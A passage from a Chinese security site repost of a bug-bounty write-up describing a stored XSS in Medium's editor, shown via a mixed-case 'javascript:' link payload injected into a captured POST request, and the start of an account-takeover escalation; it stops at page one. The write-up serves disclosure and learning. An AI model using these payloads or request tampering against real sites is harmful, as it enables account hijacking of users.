欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Medium博客平台从Stored XSS到账号劫持

来源:本站整理 作者:佚名 时间:2019-09-01 TAG: 我要投稿


本文分享的是作者在博客平台Medium上编写文章时,偶然发现一个Stored XSS漏洞,在此基础上深入分析又发现了Account Takeover账号劫持漏洞,完美实现赏金从$100到$1000的提升。
偶然发现Stored XSS漏洞
几个星期以前的某个晚上,我正在Medium上写博客,内容无非就是 – 为什么公司企业应该大力接纳漏洞众测模式…云云,一番吐槽宣泄之后,脑子短路突然不知道该写啥了。那就休息休息先干点别的吧,于是我就摆弄起Medium的博客编辑器来。
我不太记得当时我是怎么做的了,但是,我注意到可以从中添加类似于mailto:这样的特殊链接,所以,我脑子马上想起来,那既然能用mailto:样式,那能不能用javascript:呢?因此,我就用jAvAsCrIpT:confirm()来试了试。不敢相信,竟然可以的!我把它嵌入我的博客文章中,打开文章后点击对应链接,马上就跳出一个确认对话框来:
也就是说,我在Medium平台的关键位置发现了一个存储型XSS!立马上报之后我就睡觉去了。
不能就这样算了
第二天早上醒来,我想,能用5分钟发现一个存储型XSS漏洞,真的就只能如此了吗?接下来,在编写博客时,我就用Unsplash图片上传方式进行测试,并对此过程进行抓包,该POST请求如下:
POST /p/8f2xxxxxxx/deltas?logLockId=970 HTTP/1.1
Host: medium.com
User-Agent: [Redacted]
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://medium.com/p/8f2xxxxxxx/edit
X-Obvious-CID: web
X-XSRF-Token: [Redacted]
X-Client-Date: [Redacted]
Content-Type: application/json
Content-Length: 536
Connection: close
Cookie: [Redacted]
{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40someauthor%3Futm_source%3Dmedium%26utm_medium%3Dreferral","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"https://medium.com/r/?url=https%3A%2F%2Funsplash.com%2F%40someauthor%3Futm_source%3Dmedium%26utm_medium%3Dreferral","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}
可以看到,其中存在X-XSRF-Token: [Redacted],以及超链接指定属性href,那把href其值替换成jAvAsCrIpT:confirm()试试看,替换后的请求如下:
{"id":"8f2xxxxxxx","deltas":[{"type":3,"index":1,"paragraph":{"name":"exxx","type":4,"text":"Photo by Some Author on Unsplash","markups":[{"type":3,"start":9,"end":17,"href":"jAvAsCrIpT:confirm()","title":"","rel":"photo-creator","anchorType":0},{"type":3,"start":21,"end":29,"href":"jAvAsCrIpT:confirm()","title":"","rel":"photo-source","anchorType":0}],"layout":1,"metadata":{"id":"0*xxxxxx","originalWidth":"\"alt='test'","originalHeight":5219,"alt":"","unsplashPhotoId":"xxxxx"}},"verifySameName":true}],"baseRev":28}
哦靠,竟然又可以了!
现在这样,根据Medium赏金政策,顶多也就是$100美金,但其中提到:信息泄露或安全认证绕过漏洞可以达到$1000美金。所以我还是想搞个大的。
账户劫持
基于以上发现的编辑器存储型XSS,我想能不能测测账号劫持呢?由于请求交互过程中的会话Cookie具备HTTPonly设置,所以客户端脚本是不能正常读取Cookie内容的,当然也就无法窃取Cookie了,这就需要其它方法了。我来到个人资料选项设置中,看看能否把其中的注册邮箱地址更改替换成别人的邮箱,一试,竟然不需要密码就能更改。这种情况下,为了测试起见,我手动更改了其中的注册邮箱为我另一邮箱,然后往该邮箱发送了一条包含临时登录的URL链接,然后我在另一邮箱中打开该链接竟然能成功登录。整个过程可以用以下两步来实现:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载